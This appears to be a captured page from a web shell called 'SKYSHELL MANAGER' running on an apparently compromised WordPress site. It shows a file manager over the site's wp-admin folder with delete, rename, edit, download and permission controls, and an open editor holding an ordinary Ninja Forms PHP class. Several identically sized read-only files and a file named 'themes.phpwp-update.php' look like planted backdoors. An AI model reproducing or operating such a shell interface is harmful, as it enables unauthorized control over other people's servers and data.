📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: HTML.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_Fields_HTML */ class NF_Fields_HTML extends NF_Abstracts_Input { protected $_name = 'html'; protected $_section = 'layout'; protected $_icon = 'code'; protected $_aliases = array( 'html' ); protected $_type = 'html'; protected $_templates = 'html'; protected $_settings_only = array( 'label', 'default', 'classes', 'admin_label', 'key' ); protected $_use_merge_tags_include = array( 'calculations' ); public function __construct() { parent::__construct(); $this->_settings[ 'label' ][ 'width' ] = 'full'; $this->_settings[ 'default' ][ 'group' ] = 'primary'; $this->_settings[ 'default' ][ 'type' ] = 'rte'; $this->_settings[ 'default' ][ 'use_merge_tags' ] = array( 'include' => array( 'calcs' ), 'exclude' => array( 'form', 'fields' ), ); $this->_nicename = esc_html__( 'HTML', 'ninja-forms' ); add_filter( 'nf_sub_hidden_field_types', array( $this, 'hide_field_type' ) ); add_filter( 'ninja_forms_localize_field_html', [ $this,'localizeField'], 10, 2); add_filter( 'ninja_forms_localize_field_html_preview', [ $this,'localizeField'], 10, 2); } function hide_field_type( $field_types ) { $field_types[] = $this->_name; return $field_types; } /** * Localizaiton filter. * @param Array $field The field to be localized. * @return Array The localized field. */ public function localizeField( $field ) { if(isset($field['settings']['default'])){ $incomingDefault = $field['settings']['default']; }else{ $incomingDefault = ''; } $field['settings']['default'] = $this->filter_tags($incomingDefault); return $field; } /** * Bypass method for wp_filter_content_tags. * @param String $content The HTML content. * @return String The filtered content. */ private function filter_tags( $content ) { if( function_exists('wp_filter_content_tags') ) { $content = wp_filter_content_tags( $content ); } return $content; } }
Save